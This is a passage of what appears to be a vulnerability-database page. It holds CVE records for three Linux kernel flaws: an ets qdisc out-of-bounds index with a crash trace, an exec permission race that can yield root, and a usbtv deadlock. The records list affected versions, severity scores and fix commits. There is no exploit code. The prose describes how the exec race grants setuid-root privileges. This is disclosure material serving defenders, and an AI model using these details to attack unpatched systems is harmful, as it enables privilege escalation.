              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.178",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.128",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.75",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.1",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.178",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.128",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.75",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.12",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.1",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: fix ets qdisc OOB Indexing\n\nHaowei Yan \u003cg1042620637@gmail.com\u003e found that ets_class_from_arg() can\nindex an Out-Of-Bound class in ets_class_from_arg() when passed clid of\n0. The overflow may cause local privilege escalation.\n\n [   18.852298] ------------[ cut here ]------------\n [   18.853271] UBSAN: array-index-out-of-bounds in net/sched/sch_ets.c:93:20\n [   18.853743] index 18446744073709551615 is out of range for type \u0027ets_class [16]\u0027\n [   18.854254] CPU: 0 UID: 0 PID: 1275 Comm: poc Not tainted 6.12.6-dirty #17\n [   18.854821] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n [   18.856532] Call Trace:\n [   18.857441]  \u003cTASK\u003e\n [   18.858227]  dump_stack_lvl+0xc2/0xf0\n [   18.859607]  dump_stack+0x10/0x20\n [   18.860908]  __ubsan_handle_out_of_bounds+0xa7/0xf0\n [   18.864022]  ets_class_change+0x3d6/0x3f0\n [   18.864322]  tc_ctl_tclass+0x251/0x910\n [   18.864587]  ? lock_acquire+0x5e/0x140\n [   18.865113]  ? __mutex_lock+0x9c/0xe70\n [   18.866009]  ? __mutex_lock+0xa34/0xe70\n [   18.866401]  rtnetlink_rcv_msg+0x170/0x6f0\n [   18.866806]  ? __lock_acquire+0x578/0xc10\n [   18.867184]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10\n [   18.867503]  netlink_rcv_skb+0x59/0x110\n [   18.867776]  rtnetlink_rcv+0x15/0x30\n [   18.868159]  netlink_unicast+0x1c3/0x2b0\n [   18.868440]  netlink_sendmsg+0x239/0x4b0\n [   18.868721]  ____sys_sendmsg+0x3e2/0x410\n [   18.869012]  ___sys_sendmsg+0x88/0xe0\n [   18.869276]  ? rseq_ip_fixup+0x198/0x260\n [   18.869563]  ? rseq_update_cpu_node_id+0x10a/0x190\n [   18.869900]  ? trace_hardirqs_off+0x5a/0xd0\n [   18.870196]  ? syscall_exit_to_user_mode+0xcc/0x220\n [   18.870547]  ? do_syscall_64+0x93/0x150\n [   18.870821]  ? __memcg_slab_free_hook+0x69/0x290\n [   18.871157]  __sys_sendmsg+0x69/0xd0\n [   18.871416]  __x64_sys_sendmsg+0x1d/0x30\n [   18.871699]  x64_sys_call+0x9e2/0x2670\n [   18.871979]  do_syscall_64+0x87/0x150\n [   18.873280]  ? do_syscall_64+0x93/0x150\n [   18.874742]  ? lock_release+0x7b/0x160\n [   18.876157]  ? do_user_addr_fault+0x5ce/0x8f0\n [   18.877833]  ? irqentry_exit_to_user_mode+0xc2/0x210\n [   18.879608]  ? irqentry_exit+0x77/0xb0\n [   18.879808]  ? clear_bhb_loop+0x15/0x70\n [   18.880023]  ? clear_bhb_loop+0x15/0x70\n [   18.880223]  ? clear_bhb_loop+0x15/0x70\n [   18.880426]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n [   18.880683] RIP: 0033:0x44a957\n [   18.880851] Code: ff ff e8 fc 00 00 00 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 00 00 0f 05 \u003c48\u003e 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 89 54 24 1c 48 8974 24 10\n [   18.881766] RSP: 002b:00007ffcdd00fad8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\n [   18.882149] RAX: ffffffffffffffda RBX: 00007ffcdd010db8 RCX: 000000000044a957\n [   18.882507] RDX: 0000000000000000 RSI: 00007ffcdd00fb70 RDI: 0000000000000003\n [   18.885037] RBP: 00007ffcdd010bc0 R08: 000000000703c770 R09: 000000000703c7c0\n [   18.887203] R10: 0000000000000080 R11: 0000000000000246 R12: 0000000000000001\n [   18.888026] R13: 00007ffcdd010da8 R14: 00000000004ca7d0 R15: 0000000000000001\n [   18.888395]  \u003c/TASK\u003e\n [   18.888610] ---[ end trace ]---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:04:34.872Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/03c56665dab1f4ac844bc156652d50d639093fa5"
        },
        {
          "url": "https://git.kernel.org/stable/c/bcf0d815e728a3a304b50455b32a3170c16e1eaa"
        },
        {
          "url": "https://git.kernel.org/stable/c/1332c6ed446be787f901ed1064ec6a3c694f028a"
        },
        {
          "url": "https://git.kernel.org/stable/c/f4168299e553f17aa2ba4016e77a9c38da40eb1d"
        },
        {
          "url": "https://git.kernel.org/stable/c/997f6ec4208b23c87daf9f044689685f091826f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6b0f05fbfa4044f890e8a348288c0d9a20bd1d0"
        },
        {
          "url": "https://git.kernel.org/stable/c/d62b04fca4340a0d468d7853bd66e511935a18cb"
        }
      ],
      "title": "net: sched: fix ets qdisc OOB Indexing",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21692",
    "datePublished": "2025-02-10T15:58:48.087Z",
    "dateReserved": "2024-12-29T08:45:45.742Z",
    "dateUpdated": "2026-05-12T12:03:12.985Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43882 (GCVE-0-2024-43882)

Vulnerability from cvelistv5 – Published: 2024-08-21 00:10 – Updated: 2026-05-12 11:57

Title

exec: Fix ToCToU between perm check and set-uid/gid usage

Summary

In the Linux kernel, the following vulnerability has been resolved: exec: Fix ToCToU between perm check and set-uid/gid usage When opening a file for exec via do_filp_open(), permission checking is done against the file's metadata at that moment, and on success, a file pointer is passed back. Much later in the execve() code path, the file metadata (specifically mode, uid, and gid) is used to determine if/how to set the uid and gid. However, those values may have changed since the permissions check, meaning the execution may gain unintended privileges. For example, if a file could change permissions from executable and not set-id: ---------x 1 root root 16048 Aug 7 13:16 target to set-id and non-executable: ---S------ 1 root root 16048 Aug 7 13:16 target it is possible to gain root privileges when execution should have been disallowed. While this race condition is rare in real-world scenarios, it has been observed (and proven exploitable) when package managers are updating the setuid bits of installed programs. Such files start with being world-executable but then are adjusted to be group-exec with a set-uid bit. For example, "chmod o-x,u+s target" makes "target" executable only by uid "root" and gid "cdrom", while also becoming setuid-root: -rwxr-xr-x 1 root cdrom 16048 Aug 7 13:16 target becomes: -rwsr-xr-- 1 root cdrom 16048 Aug 7 13:16 target But racing the chmod means users without group "cdrom" membership can get the permission to execute "target" just before the chmod, and when the chmod finishes, the exec reaches brpm_fill_uid(), and performs the setuid to root, violating the expressed authorization of "only cdrom group members can setuid to root". Re-check that we still have execute permissions in case the metadata has changed. It would be better to keep a copy from the perm-check time, but until we can do that refactoring, the least-bad option is to do a full inode_permission() call (under inode lock). It is understood that this is safe against dead-locks, but hardly optimal.

Severity ?

8.4 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d5c3c7e26275a2d83…
https://git.kernel.org/stable/c/368f6985d46657b8b…
https://git.kernel.org/stable/c/15469d46ba34559bf…
https://git.kernel.org/stable/c/9b424c5d4130d5631…
https://git.kernel.org/stable/c/f6cfc6bcfd5e1cf76…
https://git.kernel.org/stable/c/d2a2a4714d80d09b0…
https://git.kernel.org/stable/c/90dfbba89ad4f0d9c…
https://git.kernel.org/stable/c/f50733b45d865f91d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9167b0b9a0ab7907191523f5a0528e3b9c288e21 , < d5c3c7e26275a2d83b894d30f7582a42853a958f (git) Affected: 9167b0b9a0ab7907191523f5a0528e3b9c288e21 , < 368f6985d46657b8b466a421dddcacd4051f7ada (git) Affected: 9167b0b9a0ab7907191523f5a0528e3b9c288e21 , < 15469d46ba34559bfe7e3de6659115778c624759 (git) Affected: 9167b0b9a0ab7907191523f5a0528e3b9c288e21 , < 9b424c5d4130d56312e2a3be17efb0928fec4d64 (git) Affected: 9167b0b9a0ab7907191523f5a0528e3b9c288e21 , < f6cfc6bcfd5e1cf76115b6450516ea4c99897ae1 (git) Affected: 9167b0b9a0ab7907191523f5a0528e3b9c288e21 , < d2a2a4714d80d09b0f8eb6438ab4224690b7121e (git) Affected: 9167b0b9a0ab7907191523f5a0528e3b9c288e21 , < 90dfbba89ad4f0d9c9744ecbb1adac4aa2ff4f3e (git) Affected: 9167b0b9a0ab7907191523f5a0528e3b9c288e21 , < f50733b45d865f91db90919f8311e2127ce5a0cb (git)
Linux	Linux	Affected: 2.6.18 Unaffected: 0 , < 2.6.18 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.106 , ≤ 6.1.* (semver) Unaffected: 6.6.47 , ≤ 6.6.* (semver) Unaffected: 6.10.6 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 8.4,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-43882",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-12-10T04:55:56.573367Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-367",
                "description": "CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-12-10T18:58:31.805Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:06:36.516Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:09.220Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/exec.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d5c3c7e26275a2d83b894d30f7582a42853a958f",
              "status": "affected",
              "version": "9167b0b9a0ab7907191523f5a0528e3b9c288e21",
              "versionType": "git"
            },
            {
              "lessThan": "368f6985d46657b8b466a421dddcacd4051f7ada",
              "status": "affected",
              "version": "9167b0b9a0ab7907191523f5a0528e3b9c288e21",
              "versionType": "git"
            },
            {
              "lessThan": "15469d46ba34559bfe7e3de6659115778c624759",
              "status": "affected",
              "version": "9167b0b9a0ab7907191523f5a0528e3b9c288e21",
              "versionType": "git"
            },
            {
              "lessThan": "9b424c5d4130d56312e2a3be17efb0928fec4d64",
              "status": "affected",
              "version": "9167b0b9a0ab7907191523f5a0528e3b9c288e21",
              "versionType": "git"
            },
            {
              "lessThan": "f6cfc6bcfd5e1cf76115b6450516ea4c99897ae1",
              "status": "affected",
              "version": "9167b0b9a0ab7907191523f5a0528e3b9c288e21",
              "versionType": "git"
            },
            {
              "lessThan": "d2a2a4714d80d09b0f8eb6438ab4224690b7121e",
              "status": "affected",
              "version": "9167b0b9a0ab7907191523f5a0528e3b9c288e21",
              "versionType": "git"
            },
            {
              "lessThan": "90dfbba89ad4f0d9c9744ecbb1adac4aa2ff4f3e",
              "status": "affected",
              "version": "9167b0b9a0ab7907191523f5a0528e3b9c288e21",
              "versionType": "git"
            },
            {
              "lessThan": "f50733b45d865f91db90919f8311e2127ce5a0cb",
              "status": "affected",
              "version": "9167b0b9a0ab7907191523f5a0528e3b9c288e21",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/exec.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.18"
            },
            {
              "lessThan": "2.6.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.106",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.47",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.6",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nexec: Fix ToCToU between perm check and set-uid/gid usage\n\nWhen opening a file for exec via do_filp_open(), permission checking is\ndone against the file\u0027s metadata at that moment, and on success, a file\npointer is passed back. Much later in the execve() code path, the file\nmetadata (specifically mode, uid, and gid) is used to determine if/how\nto set the uid and gid. However, those values may have changed since the\npermissions check, meaning the execution may gain unintended privileges.\n\nFor example, if a file could change permissions from executable and not\nset-id:\n\n---------x 1 root root 16048 Aug  7 13:16 target\n\nto set-id and non-executable:\n\n---S------ 1 root root 16048 Aug  7 13:16 target\n\nit is possible to gain root privileges when execution should have been\ndisallowed.\n\nWhile this race condition is rare in real-world scenarios, it has been\nobserved (and proven exploitable) when package managers are updating\nthe setuid bits of installed programs. Such files start with being\nworld-executable but then are adjusted to be group-exec with a set-uid\nbit. For example, \"chmod o-x,u+s target\" makes \"target\" executable only\nby uid \"root\" and gid \"cdrom\", while also becoming setuid-root:\n\n-rwxr-xr-x 1 root cdrom 16048 Aug  7 13:16 target\n\nbecomes:\n\n-rwsr-xr-- 1 root cdrom 16048 Aug  7 13:16 target\n\nBut racing the chmod means users without group \"cdrom\" membership can\nget the permission to execute \"target\" just before the chmod, and when\nthe chmod finishes, the exec reaches brpm_fill_uid(), and performs the\nsetuid to root, violating the expressed authorization of \"only cdrom\ngroup members can setuid to root\".\n\nRe-check that we still have execute permissions in case the metadata\nhas changed. It would be better to keep a copy from the perm-check time,\nbut until we can do that refactoring, the least-bad option is to do a\nfull inode_permission() call (under inode lock). It is understood that\nthis is safe against dead-locks, but hardly optimal."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:31:39.130Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d5c3c7e26275a2d83b894d30f7582a42853a958f"
        },
        {
          "url": "https://git.kernel.org/stable/c/368f6985d46657b8b466a421dddcacd4051f7ada"
        },
        {
          "url": "https://git.kernel.org/stable/c/15469d46ba34559bfe7e3de6659115778c624759"
        },
        {
          "url": "https://git.kernel.org/stable/c/9b424c5d4130d56312e2a3be17efb0928fec4d64"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6cfc6bcfd5e1cf76115b6450516ea4c99897ae1"
        },
        {
          "url": "https://git.kernel.org/stable/c/d2a2a4714d80d09b0f8eb6438ab4224690b7121e"
        },
        {
          "url": "https://git.kernel.org/stable/c/90dfbba89ad4f0d9c9744ecbb1adac4aa2ff4f3e"
        },
        {
          "url": "https://git.kernel.org/stable/c/f50733b45d865f91db90919f8311e2127ce5a0cb"
        }
      ],
      "title": "exec: Fix ToCToU between perm check and set-uid/gid usage",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43882",
    "datePublished": "2024-08-21T00:10:49.556Z",
    "dateReserved": "2024-08-17T09:11:59.287Z",
    "dateUpdated": "2026-05-12T11:57:09.220Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27072 (GCVE-0-2024-27072)

Vulnerability from cvelistv5 – Published: 2024-05-01 13:04 – Updated: 2026-05-12 11:51

Title

media: usbtv: Remove useless locks in usbtv_video_free()

Summary

In the Linux kernel, the following vulnerability has been resolved: media: usbtv: Remove useless locks in usbtv_video_free() Remove locks calls in usbtv_video_free() because are useless and may led to a deadlock as reported here: https://syzkaller.appspot.com/x/bisect.txt?x=166dc872180000 Also remove usbtv_stop() call since it will be called when unregistering the device. Before 'c838530d230b' this issue would only be noticed if you disconnect while streaming and now it is noticeable even when disconnecting while not streaming. [hverkuil: fix minor spelling mistake in log message]

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/4ec4641df57cbdfdc…
https://git.kernel.org/stable/c/d5ed208d04acf0678…
https://git.kernel.org/stable/c/bdd82c47b22a8befd…
https://git.kernel.org/stable/c/dea46e246ef0f98d8…
https://git.kernel.org/stable/c/3e7d82ebb86e94643…
https://git.kernel.org/stable/c/65e6a2773d6551721…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: f3d27f34fdd7701e499617d2c1d94480a98f6d07 , < 4ec4641df57cbdfdc51bb4959afcdbcf5003ddb9 (git) Affected: f3d27f34fdd7701e499617d2c1d94480a98f6d07 , < d5ed208d04acf06781d63d30f9fa991e8d609ebd (git) Affected: f3d27f34fdd7701e499617d2c1d94480a98f6d07 , < bdd82c47b22a8befd617b723098b2a41b77373c7 (git) Affected: f3d27f34fdd7701e499617d2c1d94480a98f6d07 , < dea46e246ef0f98d89d59a4229157cd9ffb636bf (git) Affected: f3d27f34fdd7701e499617d2c1d94480a98f6d07 , < 3e7d82ebb86e94643bdb30b0b5b077ed27dce1c2 (git) Affected: f3d27f34fdd7701e499617d2c1d94480a98f6d07 , < 65e6a2773d655172143cc0b927cdc89549842895 (git)
Linux	Linux	Affected: 3.11 Unaffected: 0 , < 3.11 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:54:11.556Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3e7d82ebb86e94643bdb30b0b5b077ed27dce1c2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/65e6a2773d655172143cc0b927cdc89549842895"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-27072",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-01T18:51:09.728947Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-31T17:05:19.274Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:28.272Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/media/usb/usbtv/usbtv-video.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4ec4641df57cbdfdc51bb4959afcdbcf5003ddb9",
              "status": "affected",
              "version": "f3d27f34fdd7701e499617d2c1d94480a98f6d07",
              "versionType": "git"
            },
            {
              "lessThan": "d5ed208d04acf06781d63d30f9fa991e8d609ebd",
              "status": "affected",
